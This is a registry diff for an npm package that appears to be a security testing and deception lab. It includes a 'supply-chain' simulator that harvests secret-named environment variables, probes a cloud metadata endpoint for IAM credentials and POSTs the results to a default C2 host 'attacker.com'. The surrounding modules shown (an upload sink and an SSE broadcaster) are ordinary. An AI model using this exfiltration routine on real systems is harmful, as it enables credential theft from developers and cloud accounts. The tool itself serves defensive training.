@atlascrew/apparatus 0.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (291) hide show
  1. package/bin/apparatus.mjs +2 -0
  2. package/certs/server.crt +17 -0
  3. package/certs/server.key +28 -0
  4. package/dist/ai/client.js +104 -0
  5. package/dist/ai/client.js.map +1 -0
  6. package/dist/ai/personas.js +104 -0
  7. package/dist/ai/personas.js.map +1 -0
  8. package/dist/ai/redteam.js +1404 -0
  9. package/dist/ai/redteam.js.map +1 -0
  10. package/dist/ai/report-store.js +309 -0
  11. package/dist/ai/report-store.js.map +1 -0
  12. package/dist/app.js +525 -0
  13. package/dist/app.js.map +1 -0
  14. package/dist/attack-sim.js +69 -0
  15. package/dist/attack-sim.js.map +1 -0
  16. package/dist/attacker-tracker.js +276 -0
  17. package/dist/attacker-tracker.js.map +1 -0
  18. package/dist/blackhole.js +95 -0
  19. package/dist/blackhole.js.map +1 -0
  20. package/dist/chaos.js +88 -0
  21. package/dist/chaos.js.map +1 -0
  22. package/dist/cluster.js +462 -0
  23. package/dist/cluster.js.map +1 -0
  24. package/dist/config.js +61 -0
  25. package/dist/config.js.map +1 -0
  26. package/dist/deception.js +205 -0
  27. package/dist/deception.js.map +1 -0
  28. package/dist/demo-mode.js +109 -0
  29. package/dist/demo-mode.js.map +1 -0
  30. package/dist/dist-dashboard/assets/index-BsMhEnGu.js +648 -0
  31. package/dist/dist-dashboard/assets/index-CNOkYC_Q.css +10 -0
  32. package/dist/dist-dashboard/assets/index-CW2grvPC.js +648 -0
  33. package/dist/dist-dashboard/assets/logo/apparatus-favicon.svg +15 -0
  34. package/dist/dist-dashboard/assets/logo/apparatus-icon-dark.svg +24 -0
  35. package/dist/dist-dashboard/assets/logo/apparatus-icon-light.svg +24 -0
  36. package/dist/dist-dashboard/assets/logo/apparatus-logo-512.png +0 -0
  37. package/dist/dist-dashboard/assets/logo/apparatus-logo-dark.svg +18 -0
  38. package/dist/dist-dashboard/assets/logo/apparatus-logo.svg +17 -0
  39. package/dist/dist-dashboard/assets/logo/apple-touch-icon.png +0 -0
  40. package/dist/dist-dashboard/assets/logo/favicon-192.png +0 -0
  41. package/dist/dist-dashboard/assets/logo/favicon-32.png +0 -0
  42. package/dist/dist-dashboard/assets/logo/favicon.ico +0 -0
  43. package/dist/dist-dashboard/assets/logo/icon-192.png +0 -0
  44. package/dist/dist-dashboard/assets/logo/icon-512.png +0 -0
  45. package/dist/dist-dashboard/assets/logo/icon-light-512.png +0 -0
  46. package/dist/dist-dashboard/assets/react-vendor-DpRMSntD.js +1 -0
  47. package/dist/dist-dashboard/assets/router-DSc5pRwN.js +59 -0
  48. package/dist/dist-dashboard/docs-index.json +1577 -0
  49. package/dist/dist-dashboard/index.html +21 -0
  50. package/dist/dlp.js +40 -0
  51. package/dist/dlp.js.map +1 -0
  52. package/dist/drills.js +770 -0
  53. package/dist/drills.js.map +1 -0
  54. package/dist/echoHandler.js +113 -0
  55. package/dist/echoHandler.js.map +1 -0
  56. package/dist/escape/index.js +225 -0
  57. package/dist/escape/index.js.map +1 -0
  58. package/dist/escape/methods/dns.js +74 -0
  59. package/dist/escape/methods/dns.js.map +1 -0
  60. package/dist/escape/methods/http.js +81 -0
  61. package/dist/escape/methods/http.js.map +1 -0
  62. package/dist/escape/methods/icmp.js +36 -0
  63. package/dist/escape/methods/icmp.js.map +1 -0
  64. package/dist/escape/methods/tcp.js +38 -0
  65. package/dist/escape/methods/tcp.js.map +1 -0
  66. package/dist/escape/methods/udp.js +27 -0
  67. package/dist/escape/methods/udp.js.map +1 -0
  68. package/dist/escape/methods/websocket.js +37 -0
  69. package/dist/escape/methods/websocket.js.map +1 -0
  70. package/dist/forensics.js +111 -0
  71. package/dist/forensics.js.map +1 -0
  72. package/dist/generator.js +67 -0
  73. package/dist/generator.js.map +1 -0
  74. package/dist/ghosting.js +414 -0
  75. package/dist/ghosting.js.map +1 -0
  76. package/dist/graphql.js +44 -0
  77. package/dist/graphql.js.map +1 -0
  78. package/dist/history.js +40 -0
  79. package/dist/history.js.map +1 -0
  80. package/dist/imposter/creds.js +16 -0
  81. package/dist/imposter/creds.js.map +1 -0
  82. package/dist/imposter/index.js +44 -0
  83. package/dist/imposter/index.js.map +1 -0
  84. package/dist/imposter/providers/aws.js +103 -0
  85. package/dist/imposter/providers/aws.js.map +1 -0
  86. package/dist/imposter/providers/gcp.js +26 -0
  87. package/dist/imposter/providers/gcp.js.map +1 -0
  88. package/dist/index.js +53 -0
  89. package/dist/index.js.map +1 -0
  90. package/dist/infra-debug.js +68 -0
  91. package/dist/infra-debug.js.map +1 -0
  92. package/dist/jwt-debug.js +272 -0
  93. package/dist/jwt-debug.js.map +1 -0
  94. package/dist/kv.js +22 -0
  95. package/dist/kv.js.map +1 -0
  96. package/dist/lib/generators.js +43 -0
  97. package/dist/lib/generators.js.map +1 -0
  98. package/dist/lib/json.js +26 -0
  99. package/dist/lib/json.js.map +1 -0
  100. package/dist/logger.js +9 -0
  101. package/dist/logger.js.map +1 -0
  102. package/dist/metrics.js +20 -0
  103. package/dist/metrics.js.map +1 -0
  104. package/dist/mtd.js +30 -0
  105. package/dist/mtd.js.map +1 -0
  106. package/dist/oidc.js +69 -0
  107. package/dist/oidc.js.map +1 -0
  108. package/dist/persistence/cluster-state.js +47 -0
  109. package/dist/persistence/cluster-state.js.map +1 -0
  110. package/dist/persistence/deception-history.js +65 -0
  111. package/dist/persistence/deception-history.js.map +1 -0
  112. package/dist/persistence/drill-runs.js +138 -0
  113. package/dist/persistence/drill-runs.js.map +1 -0
  114. package/dist/persistence/request-history.js +41 -0
  115. package/dist/persistence/request-history.js.map +1 -0
  116. package/dist/persistence/scenario-catalog.js +73 -0
  117. package/dist/persistence/scenario-catalog.js.map +1 -0
  118. package/dist/persistence/status.js +51 -0
  119. package/dist/persistence/status.js.map +1 -0
  120. package/dist/persistence/tarpit-state.js +47 -0
  121. package/dist/persistence/tarpit-state.js.map +1 -0
  122. package/dist/persistence/webhook-store.js +69 -0
  123. package/dist/persistence/webhook-store.js.map +1 -0
  124. package/dist/proxy.js +28 -0
  125. package/dist/proxy.js.map +1 -0
  126. package/dist/ratelimit.js +32 -0
  127. package/dist/ratelimit.js.map +1 -0
  128. package/dist/redteam.js +442 -0
  129. package/dist/redteam.js.map +1 -0
  130. package/dist/scenarios.js +229 -0
  131. package/dist/scenarios.js.map +1 -0
  132. package/dist/scripting.js +30 -0
  133. package/dist/scripting.js.map +1 -0
  134. package/dist/self-healing.js +42 -0
  135. package/dist/self-healing.js.map +1 -0
  136. package/dist/sentinel.js +50 -0
  137. package/dist/sentinel.js.map +1 -0
  138. package/dist/server-bad-ssl.js +47 -0
  139. package/dist/server-bad-ssl.js.map +1 -0
  140. package/dist/server-grpc.js +66 -0
  141. package/dist/server-grpc.js.map +1 -0
  142. package/dist/server-http1.js +5 -0
  143. package/dist/server-http1.js.map +1 -0
  144. package/dist/server-http2.js +27 -0
  145. package/dist/server-http2.js.map +1 -0
  146. package/dist/server-icap.js +46 -0
  147. package/dist/server-icap.js.map +1 -0
  148. package/dist/server-l4.js +30 -0
  149. package/dist/server-l4.js.map +1 -0
  150. package/dist/server-mqtt.js +29 -0
  151. package/dist/server-mqtt.js.map +1 -0
  152. package/dist/server-protocols.js +18 -0
  153. package/dist/server-protocols.js.map +1 -0
  154. package/dist/server-redis.js +112 -0
  155. package/dist/server-redis.js.map +1 -0
  156. package/dist/server-smtp.js +66 -0
  157. package/dist/server-smtp.js.map +1 -0
  158. package/dist/server-syslog.js +23 -0
  159. package/dist/server-syslog.js.map +1 -0
  160. package/dist/server-ws.js +18 -0
  161. package/dist/server-ws.js.map +1 -0
  162. package/dist/sidecar/chaos/engine.js +41 -0
  163. package/dist/sidecar/chaos/engine.js.map +1 -0
  164. package/dist/sidecar/index.js +98 -0
  165. package/dist/sidecar/index.js.map +1 -0
  166. package/dist/simulator/dependency-graph.js +102 -0
  167. package/dist/simulator/dependency-graph.js.map +1 -0
  168. package/dist/simulator/supply-chain.js +67 -0
  169. package/dist/simulator/supply-chain.js.map +1 -0
  170. package/dist/sink.js +24 -0
  171. package/dist/sink.js.map +1 -0
  172. package/dist/sse-broadcast.js +105 -0
  173. package/dist/sse-broadcast.js.map +1 -0
  174. package/dist/swagger.js +309 -0
  175. package/dist/swagger.js.map +1 -0
  176. package/dist/sysinfo.js +36 -0
  177. package/dist/sysinfo.js.map +1 -0
  178. package/dist/tarpit.js +126 -0
  179. package/dist/tarpit.js.map +1 -0
  180. package/dist/tool-executor.js +315 -0
  181. package/dist/tool-executor.js.map +1 -0
  182. package/dist/tui/api-client.js +341 -0
  183. package/dist/tui/api-client.js.map +1 -0
  184. package/dist/tui/core/action-handler.js +302 -0
  185. package/dist/tui/core/action-handler.js.map +1 -0
  186. package/dist/tui/core/index.js +18 -0
  187. package/dist/tui/core/index.js.map +1 -0
  188. package/dist/tui/core/keyboard.js +329 -0
  189. package/dist/tui/core/keyboard.js.map +1 -0
  190. package/dist/tui/core/modal.js +397 -0
  191. package/dist/tui/core/modal.js.map +1 -0
  192. package/dist/tui/core/screen-manager.js +262 -0
  193. package/dist/tui/core/screen-manager.js.map +1 -0
  194. package/dist/tui/core/store.js +254 -0
  195. package/dist/tui/core/store.js.map +1 -0
  196. package/dist/tui/core/widget.js +167 -0
  197. package/dist/tui/core/widget.js.map +1 -0
  198. package/dist/tui/dashboard.js +649 -0
  199. package/dist/tui/dashboard.js.map +1 -0
  200. package/dist/tui/index.js +118 -0
  201. package/dist/tui/index.js.map +1 -0
  202. package/dist/tui/modals/add-rule-modal.js +190 -0
  203. package/dist/tui/modals/add-rule-modal.js.map +1 -0
  204. package/dist/tui/modals/dlp-output-modal.js +102 -0
  205. package/dist/tui/modals/dlp-output-modal.js.map +1 -0
  206. package/dist/tui/modals/dns-form-modal.js +26 -0
  207. package/dist/tui/modals/dns-form-modal.js.map +1 -0
  208. package/dist/tui/modals/ghost-config-modal.js +35 -0
  209. package/dist/tui/modals/ghost-config-modal.js.map +1 -0
  210. package/dist/tui/modals/har-results-modal.js +41 -0
  211. package/dist/tui/modals/har-results-modal.js.map +1 -0
  212. package/dist/tui/modals/index.js +15 -0
  213. package/dist/tui/modals/index.js.map +1 -0
  214. package/dist/tui/modals/jwt-decode-modal.js +45 -0
  215. package/dist/tui/modals/jwt-decode-modal.js.map +1 -0
  216. package/dist/tui/modals/jwt-mint-modal.js +70 -0
  217. package/dist/tui/modals/jwt-mint-modal.js.map +1 -0
  218. package/dist/tui/modals/ping-form-modal.js +19 -0
  219. package/dist/tui/modals/ping-form-modal.js.map +1 -0
  220. package/dist/tui/modals/redteam-results-modal.js +43 -0
  221. package/dist/tui/modals/redteam-results-modal.js.map +1 -0
  222. package/dist/tui/modals/scan-form-modal.js +26 -0
  223. package/dist/tui/modals/scan-form-modal.js.map +1 -0
  224. package/dist/tui/screens/defense-screen.js +281 -0
  225. package/dist/tui/screens/defense-screen.js.map +1 -0
  226. package/dist/tui/screens/forensics-screen.js +81 -0
  227. package/dist/tui/screens/forensics-screen.js.map +1 -0
  228. package/dist/tui/screens/index.js +140 -0
  229. package/dist/tui/screens/index.js.map +1 -0
  230. package/dist/tui/screens/system-screen.js +81 -0
  231. package/dist/tui/screens/system-screen.js.map +1 -0
  232. package/dist/tui/screens/testing-screen.js +429 -0
  233. package/dist/tui/screens/testing-screen.js.map +1 -0
  234. package/dist/tui/screens/traffic-screen.js +76 -0
  235. package/dist/tui/screens/traffic-screen.js.map +1 -0
  236. package/dist/tui/sse-client.js +130 -0
  237. package/dist/tui/sse-client.js.map +1 -0
  238. package/dist/tui/state/metrics-buffer.js +195 -0
  239. package/dist/tui/state/metrics-buffer.js.map +1 -0
  240. package/dist/tui/state/metrics-buffer.test.js +102 -0
  241. package/dist/tui/state/metrics-buffer.test.js.map +1 -0
  242. package/dist/tui/theme.js +136 -0
  243. package/dist/tui/theme.js.map +1 -0
  244. package/dist/tui/types.js +6 -0
  245. package/dist/tui/types.js.map +1 -0
  246. package/dist/tui/widgets/chaos-widget.js +152 -0
  247. package/dist/tui/widgets/chaos-widget.js.map +1 -0
  248. package/dist/tui/widgets/cluster-widget.js +156 -0
  249. package/dist/tui/widgets/cluster-widget.js.map +1 -0
  250. package/dist/tui/widgets/dlp-widget.js +161 -0
  251. package/dist/tui/widgets/dlp-widget.js.map +1 -0
  252. package/dist/tui/widgets/ghost-widget.js +169 -0
  253. package/dist/tui/widgets/ghost-widget.js.map +1 -0
  254. package/dist/tui/widgets/har-widget.js +173 -0
  255. package/dist/tui/widgets/har-widget.js.map +1 -0
  256. package/dist/tui/widgets/index.js +122 -0
  257. package/dist/tui/widgets/index.js.map +1 -0
  258. package/dist/tui/widgets/jwt-widget.js +177 -0
  259. package/dist/tui/widgets/jwt-widget.js.map +1 -0
  260. package/dist/tui/widgets/kv-widget.js +261 -0
  261. package/dist/tui/widgets/kv-widget.js.map +1 -0
  262. package/dist/tui/widgets/mtd-widget.js +181 -0
  263. package/dist/tui/widgets/mtd-widget.js.map +1 -0
  264. package/dist/tui/widgets/netdiag-widget.js +155 -0
  265. package/dist/tui/widgets/netdiag-widget.js.map +1 -0
  266. package/dist/tui/widgets/oidc-widget.js +162 -0
  267. package/dist/tui/widgets/oidc-widget.js.map +1 -0
  268. package/dist/tui/widgets/pcap-widget.js +239 -0
  269. package/dist/tui/widgets/pcap-widget.js.map +1 -0
  270. package/dist/tui/widgets/redteam-widget.js +155 -0
  271. package/dist/tui/widgets/redteam-widget.js.map +1 -0
  272. package/dist/tui/widgets/rps-gauge-widget.js +124 -0
  273. package/dist/tui/widgets/rps-gauge-widget.js.map +1 -0
  274. package/dist/tui/widgets/sentinel-widget.js +171 -0
  275. package/dist/tui/widgets/sentinel-widget.js.map +1 -0
  276. package/dist/tui/widgets/sparklines-widget.js +127 -0
  277. package/dist/tui/widgets/sparklines-widget.js.map +1 -0
  278. package/dist/tui/widgets/sysinfo-widget.js +197 -0
  279. package/dist/tui/widgets/sysinfo-widget.js.map +1 -0
  280. package/dist/tui/widgets/traffic-chart-widget.js +170 -0
  281. package/dist/tui/widgets/traffic-chart-widget.js.map +1 -0
  282. package/dist/tui/widgets/webhook-widget.js +259 -0
  283. package/dist/tui/widgets/webhook-widget.js.map +1 -0
  284. package/dist/utils/ip.js +18 -0
  285. package/dist/utils/ip.js.map +1 -0
  286. package/dist/victim/index.js +71 -0
  287. package/dist/victim/index.js.map +1 -0
  288. package/dist/webhook.js +88 -0
  289. package/dist/webhook.js.map +1 -0
  290. package/package.json +90 -0
  291. package/proto/echo.proto +19 -0
@@ -0,0 +1,67 @@
1
+ import { request } from "undici";
2
+ import { logger } from "../logger.js";
3
+ // Simulate a compromised package behavior
4
+ export async function triggerSupplyChainAttack(c2Target = "http://attacker.com") {
5
+ const logs = [];
6
+ const log = (msg) => {
7
+ logger.warn(`[SupplyChain] ${msg}`);
8
+ logs.push(`[${new Date().toLocaleTimeString()}] ${msg}`);
9
+ };
10
+ log("🚨 MALICIOUS PACKAGE ACTIVATED: 'left-pad-ultra'");
11
+ // 1. Harvest Environment Variables
12
+ log("🔍 Harvesting Environment Variables...");
13
+ const secrets = [];
14
+ for (const [key, val] of Object.entries(process.env)) {
15
+ if (key.match(/KEY|SECRET|TOKEN|PASS|PWD/i)) {
16
+ secrets.push(key);
17
+ }
18
+ }
19
+ log(`✅ Found ${secrets.length} potential secrets: ${secrets.join(", ")}`);
20
+ // 2. Cloud Credential Access (Imposter)
21
+ log("☁️ Attempting to steal Cloud Metadata (AWS/GCP)...");
22
+ try {
23
+ // Try AWS Imposter (running on 16925 locally)
24
+ const awsUrl = "http://127.0.0.1:16925/latest/meta-data/iam/security-credentials/";
25
+ log(` > GET ${awsUrl}`);
26
+ const { statusCode, body } = await request(awsUrl);
27
+ if (statusCode === 200) {
28
+ const roles = await body.text();
29
+ log(`⚠️ AWS ROLES DISCOVERED: ${roles.trim()}`);
30
+ // Go deeper
31
+ const role = roles.split("\n")[0];
32
+ if (role) {
33
+ const credsUrl = `${awsUrl}${role}`;
34
+ const credsRes = await request(credsUrl);
35
+ const creds = await credsRes.body.json();
36
+ log(`🔥 STOLEN AWS CREDS: ${creds.AccessKeyId ?? 'unknown'} (Role: ${role})`);
37
+ }
38
+ }
39
+ else {
40
+ log(" > AWS Metadata unreachable or locked.");
41
+ }
42
+ }
43
+ catch (e) {
44
+ log(` > Metadata Connection Failed: ${e.message}`);
45
+ }
46
+ // 3. Exfiltration (Egress)
47
+ log(`📤 Exfiltrating data to C2: ${c2Target}...`);
48
+ try {
49
+ // We simulate a DNS exfil or HTTP POST
50
+ // DNS simulation:
51
+ log(" > Trying DNS Tunneling...");
52
+ // (Skipping actual DNS logic here for simplicity, focusing on HTTP)
53
+ // HTTP POST
54
+ log(` > POST ${c2Target}/upload`);
55
+ await request(c2Target, {
56
+ method: "POST",
57
+ body: JSON.stringify({ secrets, timestamp: Date.now() })
58
+ }).catch(() => { }); // Fire and forget, we expect it might fail if offline
59
+ log("✅ Payload sent to network stack (Result depends on Egress Filtering)");
60
+ }
61
+ catch (e) {
62
+ log("❌ Exfiltration Blocked?");
63
+ }
64
+ log("💀 Attack Sequence Complete.");
65
+ return logs;
66
+ }
67
+ //# sourceMappingURL=supply-chain.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"supply-chain.js","sourceRoot":"","sources":["../../src/simulator/supply-chain.ts"],"names":[],"mappings":"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"}
package/dist/sink.js ADDED
@@ -0,0 +1,24 @@
1
+ export function sinkHandler(req, res) {
2
+ let bytesReceived = 0;
3
+ const start = Date.now();
4
+ req.on("data", (chunk) => {
5
+ bytesReceived += chunk.length;
6
+ });
7
+ req.on("end", () => {
8
+ const durationMs = Date.now() - start;
9
+ const seconds = durationMs / 1000;
10
+ const mb = bytesReceived / (1024 * 1024);
11
+ const mbps = seconds > 0 ? (mb * 8) / seconds : 0;
12
+ res.json({
13
+ message: "Data consumed and discarded",
14
+ bytesReceived,
15
+ durationMs,
16
+ megabytes: Number(mb.toFixed(2)),
17
+ mbps: Number(mbps.toFixed(2))
18
+ });
19
+ });
20
+ req.on("error", (err) => {
21
+ res.status(500).json({ error: "Stream error", details: err.message });
22
+ });
23
+ }
24
+ //# sourceMappingURL=sink.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sink.js","sourceRoot":"","sources":["../src/sink.ts"],"names":[],"mappings":"AAEA,MAAM,UAAU,WAAW,CAAC,GAAY,EAAE,GAAa;IACnD,IAAI,aAAa,GAAG,CAAC,CAAC;IACtB,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAEzB,GAAG,CAAC,EAAE,CAAC,MAAM,EAAE,CAAC,KAAK,EAAE,EAAE;QACrB,aAAa,IAAI,KAAK,CAAC,MAAM,CAAC;IAClC,CAAC,CAAC,CAAC;IAEH,GAAG,CAAC,EAAE,CAAC,KAAK,EAAE,GAAG,EAAE;QACf,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,KAAK,CAAC;QACtC,MAAM,OAAO,GAAG,UAAU,GAAG,IAAI,CAAC;QAClC,MAAM,EAAE,GAAG,aAAa,GAAG,CAAC,IAAI,GAAG,IAAI,CAAC,CAAC;QACzC,MAAM,IAAI,GAAG,OAAO,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;QAElD,GAAG,CAAC,IAAI,CAAC;YACL,OAAO,EAAE,6BAA6B;YACtC,aAAa;YACb,UAAU;YACV,SAAS,EAAE,MAAM,CAAC,EAAE,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;YAChC,IAAI,EAAE,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;SAChC,CAAC,CAAC;IACP,CAAC,CAAC,CAAC;IAEH,GAAG,CAAC,EAAE,CAAC,OAAO,EAAE,CAAC,GAAG,EAAE,EAAE;QACpB,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,cAAc,EAAE,OAAO,EAAE,GAAG,CAAC,OAAO,EAAE,CAAC,CAAC;IAC1E,CAAC,CAAC,CAAC;AACP,CAAC"}
@@ -0,0 +1,105 @@
1
+ import { EventEmitter } from "events";
2
+ import { randomUUID } from "crypto";
3
+ import { recordDeceptionSignal, recordRequestSignal, recordTarpitSignal } from "./attacker-tracker.js";
4
+ // Configuration
5
+ const MAX_SSE_CLIENTS = 100;
6
+ const HEARTBEAT_INTERVAL_MS = 30000;
7
+ // Global event emitter for SSE
8
+ export class SSEBroadcaster extends EventEmitter {
9
+ clients = new Map();
10
+ /**
11
+ * Registers a new SSE client for receiving broadcast events.
12
+ * @param res - Express Response object configured for SSE streaming
13
+ * @returns clientId if added, null if max clients reached
14
+ */
15
+ addClient(res) {
16
+ // Check max client limit (DoS protection)
17
+ if (this.clients.size >= MAX_SSE_CLIENTS) {
18
+ return null;
19
+ }
20
+ const clientId = randomUUID();
21
+ // Setup heartbeat to keep connection alive through proxies
22
+ const heartbeatInterval = setInterval(() => {
23
+ if (!res.writableEnded) {
24
+ res.write(`: heartbeat ${new Date().toISOString()}\n\n`);
25
+ }
26
+ }, HEARTBEAT_INTERVAL_MS);
27
+ const clientInfo = {
28
+ res,
29
+ clientId,
30
+ connectedAt: new Date(),
31
+ heartbeatInterval
32
+ };
33
+ this.clients.set(clientId, clientInfo);
34
+ // Cleanup function for all disconnect scenarios
35
+ const cleanup = () => {
36
+ const client = this.clients.get(clientId);
37
+ if (client) {
38
+ clearInterval(client.heartbeatInterval);
39
+ this.clients.delete(clientId);
40
+ }
41
+ };
42
+ // Handle all disconnect scenarios (P0 fix: add error/finish handlers)
43
+ res.once('close', cleanup);
44
+ res.once('error', cleanup);
45
+ res.once('finish', cleanup);
46
+ // Send connection event
47
+ this.sendToClient(res, 'health', { status: 'connected', clientId, clients: this.clients.size });
48
+ return clientId;
49
+ }
50
+ sendToClient(res, type, data) {
51
+ try {
52
+ if (!res.writableEnded) {
53
+ // Ensure data has a timestamp for the UI
54
+ if (typeof data === 'object' && data !== null && !data.timestamp) {
55
+ data.timestamp = new Date().toISOString();
56
+ }
57
+ // Sanitize JSON to prevent SSE injection via newlines
58
+ const jsonString = JSON.stringify(data);
59
+ res.write(`event: ${type}\n`);
60
+ res.write(`data: ${jsonString}\n\n`);
61
+ }
62
+ }
63
+ catch (e) {
64
+ // Client disconnected, will be cleaned up by event handlers
65
+ }
66
+ }
67
+ broadcast(type, data) {
68
+ for (const [, client] of this.clients) {
69
+ this.sendToClient(client.res, type, data);
70
+ }
71
+ // Also emit locally for any internal listeners
72
+ this.emit(type, { type, data, timestamp: new Date().toISOString() });
73
+ }
74
+ getClientCount() {
75
+ return this.clients.size;
76
+ }
77
+ getMaxClients() {
78
+ return MAX_SSE_CLIENTS;
79
+ }
80
+ }
81
+ // Singleton instance
82
+ export const sseBroadcaster = new SSEBroadcaster();
83
+ // Convenience functions
84
+ export function broadcastRequest(request) {
85
+ if (!request.id) {
86
+ request.id = randomUUID();
87
+ }
88
+ recordRequestSignal(request);
89
+ sseBroadcaster.broadcast('request', request);
90
+ }
91
+ export function broadcastDeception(event) {
92
+ recordDeceptionSignal(event);
93
+ sseBroadcaster.broadcast('deception', event);
94
+ }
95
+ export function broadcastTarpit(action, ip) {
96
+ recordTarpitSignal({ action, ip });
97
+ sseBroadcaster.broadcast('tarpit', { action, ip });
98
+ }
99
+ export function broadcastHealth(status) {
100
+ sseBroadcaster.broadcast('health', status);
101
+ }
102
+ export function broadcastWebhook(hookId, data) {
103
+ sseBroadcaster.broadcast('webhook', { hookId, ...data });
104
+ }
105
+ //# sourceMappingURL=sse-broadcast.js.map
@@ -0,0 +1 @@
1
